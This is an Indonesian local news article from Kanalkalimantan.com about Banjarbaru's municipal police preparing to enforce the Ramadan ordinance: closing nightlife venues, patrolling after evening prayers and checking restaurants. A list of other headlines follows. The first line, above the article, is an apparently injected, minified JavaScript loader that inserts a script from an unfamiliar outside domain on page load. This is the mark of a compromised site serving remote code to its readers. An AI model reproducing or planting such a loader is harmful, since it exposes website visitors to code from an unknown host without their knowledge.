(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Jelang Puasa, Satpol PP Banjarbaru Siap Tertibkan THM


KANALKALIMANTAN.COM, BANJARBARU – Penegakkan Peraturan Daerah (Perda) tentang ketertiban umum menjelang bulan Ramadhan akan dilakukan Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru.

Kepala Satpol PP Kota Banjarbaru Hidayaturahman mengatakan, beberapa hari ke depan, pihaknya akan melaksanakan giat penegakan Perda Ramadhan tersebut, salah satunya pemeriksaan Tempat Hiburan Malam (THM) di Kota Idaman.

“Tentunya Perda Ramadhan untuk tahun ini masih berlaku dan kita tetap akan menegakkan Perda itu dalam beberapa hari ke depan. Seperti THM pada bulan Ramadhan akan ditutup sesuai aturan,” ujar Hidayaturahman kepada Kanalkalimantan.com, Kamis (7/3/2024).

Baca juga: Terciduk ‘Siap Layani’ di Kos, PSK Online Didenda Rp500 Ribu

Terpisah, Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru Denny Mahendrata nengatakan, anggota akan intens melakukan patroli usai kegiatan shalat tarawih.

Terlebih untuk usaha THM, sambung dia, mereka harus menyesuaikan jam operasional terhadap aturan yang nantinya diberikan oleh pemerintah kota melalui surat edaran.

“Untuk menghormati umat Islam beribadah di bulan puasa, jam operasional THM diperpendek atau bahkan disetop sama sekali,” ujar Denny Mahendrata.

Baca juga: Layanan Publik di Kota Banjarbaru Terintegrasi Lewat MPP Digital

Selain patroli malam, disebutkan Denny, anggota akan melakukan operasi penyisiran wilayah di siang hari guna memastikan tidak ada rumah makan yang menyediakan makanan dan minuman bagi orang berpuasa.

“Pasti akan ada waktu yang telah ditentukan atau bisa jadi buka tapi hanya untuk dibawa pulang, itu juga menjadi sasaran kita,” sambung dia.

Anggota Satpol PP siap menindak masyarakat yang bandel melanggar Perda Ramadhan tersebut sesuai surat edaran yang diberikan.

Baca juga: Jemaah Haul ke-4 Guru Zuhdi Mulai Padati Masjid Jami Sungai Jingah

“Kalau ada yang bandel, izinnya akan kami sasar,” tuntas Denny.

Menanggapi hal tersebut, Wali Kota Banjarbaru Aditya Mufti Ariffin mengatakan, pihaknya bersama jajaran akan terus memonitor jalannya penegakan Perda Ramadhan tersebut.

“Kita minta juga seluruh stakeholder dan para pelaku usaha untuk bisa menghormati warga muslim yang akan menunaikan ibadah di bulan Ramadhan,” ucap tegas Wali Kota Banjarbaru Aditya Mufti Ariffin.

Baca juga: Jemaah Aolia Gunungkidul Memulai Puasa

Terakhir Aditya meminta agar seluruh masyarakat dapat menaati Perda tersebut sebab sanksi berat akan diberikan jika ditemukan ada yang melanggar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

7 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

9 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

13 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

13 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

13 jam ago

This website uses cookies.